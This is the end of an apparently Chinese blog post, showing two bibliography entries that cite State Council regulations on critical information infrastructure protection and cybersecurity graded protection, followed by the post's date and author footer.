[4] 国务院. 关键信息基础设施安全保护条例[Z]. 2021-07-30.

[5] 国务院. 网络安全等级保护条例[Z]. 2018.

posted @ 2026-06-21 12:14  后生许令  阅读(12)  评论(0)    收藏  举报